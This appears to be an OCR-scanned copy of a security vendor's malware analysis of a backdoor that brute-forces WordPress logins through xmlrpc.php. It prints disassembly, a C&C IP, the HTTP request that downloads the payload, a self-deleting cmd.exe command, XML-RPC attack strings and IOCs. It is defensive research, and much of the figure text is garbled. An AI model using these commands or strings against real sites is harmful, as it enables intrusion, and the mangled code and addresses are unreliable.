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We have written a number of blogs about vulnerabilities within and attacks on sites built with WordPress. And,

when you consider that 34 percent of all websites in the world are built with WordPress, it’s understandable that

cybercriminals will continue to focus their attention on this popular platform.

One of the most common attack vectors employed by these bad actors is to launch an XML-RPC attack. XML-
RPC on WordPress, which is enabled by default, is actually an API that provides third-party applications and
services the ability to interact with WordPress sites, rather than through a browser. Attackers use this channel to
establish a remote connection to a WordPress site and make modifications without being directly logged in to your
WordPress system. However, if a WordPress site didn’t disable XML-RPC, there is no limit to the number of login

attempts that can be made by a hacker, meaning it is just a matter of time before a cybercriminal can gain access.

Recently, the Zscaler ThreatL.abZ team came across a scheme to attack WordPress sites where a malicious
program gets a list of WordPress sites from a C&C server which then are attacked leveraging the XML-RPC

pingback method to fingerprint the existing vulnerabilities on the listed WordPress sites.

Even though we saw a payload used in this attack in our Zscaler cloud and also found a campaign of similar files
on VirusTotal, we haven’t found any specific spam templates used for this campaign. Additionally, the payloads
appear to be new and had no specific attribution, so we have given a new name to this program based on its
activity—Win32.Backdoor.WPbrutebot.

Technical analysis

In our research, we found several samples pertaining to this campaign but we analyzed one sample here for

brevity and as an example.

In the sample set we worked on, we found that almost all samples used Microsoft-version information, but all of
them lack a legitimate Windows Digital Signature and left the company name as TODO, which implies that these

files are being generated through a script and this section is still a work in progress.

CompanyMame TODD: <« Company name=

FileDescription Host Process for Windows Services
FileWersion 6.1.7600.16385

InternalMame 22223323

LegalCopyright 2 Microsoft Corporation. All rights reserved.
OriginalFilename taskhost.exe

ProductMame Microsoft® Windows® Operating System
ProductVersion 6.1.7600.16385

Figure 1: The common metadata used in most files in this campaign.
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Another feature we found was that InternalName was always a sequence of 2s. Unfortunately, we weren’t able to

conclude if this was intentional or not.
The initial layer of the malware is for decoding the URIs used to make initial contact with the C&C server.

The first section is unpacked as shown in Figure 2:

L B |

il e 5

loc_48415A:
movaps xmml, ds:zmnmword 49B448

xor eax, eax
movups [ebp+var 98], xmm@

mov [ebp+uar_88], BEGAZBZALK

mowv [ebp+var_7C], BEBAZB?h

nop dword ptr [eax+eax+H0000060N0]

vy

e 5

loc_4B4188:

lea ecx, [eax—4Bh]

XOr byte ptr [ebp+eax+var 98], cl
inc eax

cmp eax, 17h

jl short loc_ 484188

Figure 2: The decryption loop of this program.

This decryption loop is a simple XOR decryption that sequentially runs from B5 to C7, which gives us
/1k4238th317/update.php.

Figure 3 shows the debugger dump.

HeXx ASCIT

Figure 3: The decrypted string of this program.

Next, the domain is generated using another XOR-based decryption where the key goes from B5 to CO.
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push ebp

mou ebp, esp

sub esp, 18h

mou [ebp+var_ 18], BBEBS8GDERh
Xor BCX, BCX

mow [ebp+var_C], BBEF8288h

mov [ebp+var 8], B8A2DAGD293h
mou [ebp+var 4], @

vy

il s =

loc_4@11B1:

1ea eax, [ecx-4Bh]

b{ilg byte ptr [ebp+ecx+uvar_ 18], al
inc ecx

cmp ecx, HACh

jl short loc 4811B1

Figure 4: The decryption loop for this program

The domain generated is k6239847[.]lib. This URL is then used with blockchain DNS.

dword ptr ds: BO24F0

push
v
all dword ptr ds: <&Dr

Figure 5: The DNS query.

The blockchain DNS URI is decrypted using a similar XOR loop as shown in Figure 6. The value compared
depends on the size of the blockchain DNS URI.

dword ptr ds:
dword ptr ds

byte ptr ds:

Figure 6: The decryption loop.

These are first assembled in heap using RtlAllocateHeap.
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Hex ASCII

Figure 7: The decrypted strings.

The code shown in Figure 8 is called several times to allocate heap to save decrypted strings that are used later to

perform network activity or for creating files.

dword ptr

call dword ptr

Figure 8: The API call details.

This same code is reused to assemble user-agent strings, which are later used for making internet connections.
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Hex ASCII

Figure 9: The user-agents employed in this attack.

This is then used to create a DNS request for the blockchain DNS server.

Hex ASCIT

Figure 10: The concatenated URL.

The DNS request generated produces a C&C IP of 217.8.117[.]48, which can be confirmed online at

explorer.emercoin[.]Jcom/nvs/dns.
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Type Name Value Registered At Expires in
dns dns k6230847 lib A=217.8.117 48 1052002
dns dns:N490768 lib A=217.8.117.48 1447992

Figure 11: The domains found at emercoin.com.

The segment of a URL created during the first decryption loop (as shown above) is then used with the IP address
to contact the C&C. The URL created is 217.8.117[.]48/1k4238fh317/update.

The C&C then replies back with 217.8.117[.]48/j537djjlhg763/svchst.exe, which is the downloaded payload. The
payload is downloaded at C:\Users\User-Name\AppData\Roaming\svchst.exe.

GET /j537djjlhg763/svchst.exe HTTP/1.1
Host: 217.8.117.48
Accept: */*

HTTP/1.1 2@8 OK

Server: nginx/1.14.@ (Ubuntu)

Date: Mon, 28 Jul 2820 87:29:45 GMT
Content-Type: application/octet-stream
Content-Length: 2514944

Last-Modified: Mon, @6 Jul 2828 18:38:32 GMT
Connection: keep-alive

ETag: "Ssfe36fas-266008"

Accept-Ranges: bytes
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Figure 12: The program downloading an updated version of itself.

The downloaded sample (MD5:86374F27C1A915D970BE3103D22512B9) is an updated version of the parent
sample, which downloads itself to ensure that the latest version of the malicious program is running on the system.
This sample also performs a DNS query on k6239847[.]lib. The string is obfuscated by breaking the string in two

parts—k623 and 9847.lib, which are concatenated in memory.

This time, a command is run using cmd.exe /C ping 1.1.1.1 -n 1 -w., where -n means the number of echo requests

to send and -w is the timeout in milliseconds to wait for each reply. 1.1.1.1 is popular DNS service by Cloudflare.
The full command is cmd.exe /C ping 1.1.1.1 -n 1 -w -n 1 -w3000 > Nul & Del /f /q \"%s.

The program then enumerates system information including information such as user name, processor

architecture, and more.
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loc_A78879: ; "/wp-login.php"
push offset aWplLogin_php
lea ecx, [ebp-13B4h]
call sub_A46CEBB
mowv esi, eax
®or eax, eax
nop dword ptr [eax]
loc_4700890:
1lea edx, [eax+esi]
lea ecy, [eax+33h]
inc eax
E{iTd [edx], cl
cmp eax, 6Dh
jl short loc_470098|
I, |
A J
M
push 1
push esi
lea ecx, [ebp-BBACH]
mou byte ptr [esi+BDh], 8
call sub_474E3AQ
mow edi, eax
push offset axXmlrpc_php ; “/xmlrpc.php™
lea ecx, [ebp-8C%6h]
mow byte ptr [ebp-4], 1Ah
call sub_u4748A8
mou esi, eax
®or eax, eax
nop word ptr [eax+eax+00nh]
loc_4700D0:
1lea edx, [eax+esi]
lea ecy, [eax+33h]
inc eax
E{i] g [edx], cl
cmp eax, HABh
j1 short loc_4708D8|
—
L |
M
push ecx
push esi
push edi
lea edx, [ebp-8Ch]
mou byte ptr [esi+BBh], 8]
lea ecx, [ebp-1A8h]
call sub_A476EEB
add esp, BCh
mow ecx, [ebp-8BBCHh]
test ecx, ecx
jz short loc_ 47811A

Figure 13: The algorithm to initiate the /xmlrpc.php attack.

«/params>
</methodCall>. . </valuex</param»

<param><values. . .. ...¢Puml version="1.8" encoding="UTF-8"?>

<methodCall>

< P.g sBlogs</ ame

<params>

<param><value>....<methodResponse>....2.../wp-login.php. .. /xmlrpc. php. #4#%. #loginUP#. . .#host#. . (. +3)( ?=\.) .#reverse#. . .#. . omlrpc. . locale-ru-ru....Bns=....<input typew....id=\"wp-submit\"[*>]
+5..values\"([*\"]+]\". .Bup-submit=.Btestcookie=_...8redirect_to=...log=....Rsubmit=..../wp-adwin/..plugins.php.plugin-install.php...zip...._wpnonce.... wp_http_referer....pluginzip....php. .

wp-content/plugins/. .NL..?i=.8data=..
Figure 14: The attack vectors found in the file.

Here, the malicious program is using wp.getUsersBlogs to execute a brute force attack via the
“wp.getUsersBlogs” method of xmlrpc.php where an attacker is actually doing a reverse IP lookup for the IPs

fetched from the C&C and is looking for all the available methods on the corresponding DNS. Once found, it
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attempts to gain the login via cookie-based authentication by logging into WordPress using cURL, authenticating
the server (which ran the cURL script) and providing the username/password to the login page of the desired

WordPress site.

Here is a redacted list of a few WordPress sites the attacker is trying to attack leveraging this malware payload:

Hhost#17
BE144.76.62.34,190.93. 223195144 7B 130179144 FE 130185144, 7B 130183144, 76130189144, 761230184144 76.130.182:144. 76130131
https:Ad= == =" indwp-login. phpR R FrdBadmmin

httpe:dd7F com/wp-login. phpR ik FndHroot_w02887
httpe A4 i wipeloging phpi gk FrdBE aleva

httpe A 200 Sk wploagin. php B HHMF rdfludenda

hittp A4 0 comdwpdogin phpHH#MFndfakmas_admin
hittp:/4e =t plAwp-login. phpt#bdFndfadmin

httpedde 0 waw. pldwpelagin, phpd i SON Bena

hittpe:ddvawn. 00 netiwpelogin, php R EM FrdBadmin

hitp: Adeen s aSomnnnas o comAwpelogin, php R #RF nd#E ditor
httpedd o0 dedwprlogin, phpBREF S admin_pal
hittpe:d dwnee 000 20 20D comAwp-login, phpH##MF ndfadmin-gastan
httpe 420 comAwp-login, php Rk Frd#aitbat 7
https: /4 zomAwp-login. phpB ) SON Hjupiterakp

httpeddo 2oL comdwp-login, phpHE#MF ndHziteadmin
httpz:Ade L L 2L wadwp-login phpiihd FndBadmin

hittps:d dvawn, 0 DD comdwp-login, phpdE# N otF Badmin
httpeddet o hargdwp-login phpHHE#MFndak cjapodajdale|
https: A dvmee o camdwipelagin phpiE b Fnd#admin

hitp:/40 - awzdwpdogin phpER#MFndfadmin

httpeddp 0 comdwp-login, phpd#8 SO M Hthiago

https:4d 0 comdwpelogin, phpBHHMFrdiadmin

hittp: A A me e © 0 Lorgfwpelogin, phpi it Frdibep_ 9318421
httpedd o ' occomdwp-login phpHEHFS rimijciaophoto

hittos: A4 Uk Aweelogin, cho R Frd#admin

Figure 15: The list of WordPress sites targeted for a brute force attack.

We then went on hunting for similar samples. We were able to unearth more samples connecting to the same
domains (k6239847.1ib) and IP address (217.8.117.48). The samples we found had similar activity but used a
.space TLD domain as one of its C&C.

Cloud Sandbox detection

The malware payload was successfully detected and blocked by the Zscaler Cloud Sandbox as seen in the Figure
16.
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Report 1D (MDY 2ED7662ECEE02208CEBECIABEBAFEIS Analysis Performed: 7/1/2020 4311 PM

File Type: exe
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS
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= Perfarms Bannections Ta iPs Without Eormesponding DNS Lockups = System Process Connects To Network
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Pertorms DNS Lockups
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WMay Offor Command Line Options Packet capture oo network traffic
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s A Vil Diata Diractory To Section Mapming
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Figure 16: The Zscaler Cloud Sandbox successfully detected the malware.
Advanced Threat Signature name:

Win32.Backdoor. Wpbrutebot

Conclusion

Due to its popularity, WordPress is a common target for cyberattacks. As such, WordPress admins need to be on
alert to reports of newly found vulnerabilities and attacks. In addition, WordPress admin should keep the XML-

RPC option disabled and refrain from using logins from third-party applications.

Zscaler continues to protect our customers from such attacks and detects these malicious programs in our Cloud

Sandbox in real time.

MITRE ATT&CK TTP Mapping

T1212 Credential Access

T1110 Brute Force

T1556 Modify Authentication Process

T1497 Sandbox Evasion
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T1055 Process Injection
T1003 OS Credential Dumping
T1491 Defacement

I0Cs

Hashes:

2ed7662ec8e2022d9cebec3a8ebaf838
c09cf4312167fa9683d8e8733004b7e6
86374f27¢1a915d970be3103d22512b9
d88a7fca98e89aaf593163b787165766
03caf1cf96f95b82536fc8b7d94c5a61
74£5107acd2e51dc407253f15d718be3
a54faB899a524f0cd34ae90f9820b41e0

IPs:

207.148.83[.]241
5.132.191[.]104
66.70.228[.]1164

Source: https://www.zscaler.com/blogs/security-research/malware-leveraging-xml-rpc-vulnerability-exploit-wordpress-sites
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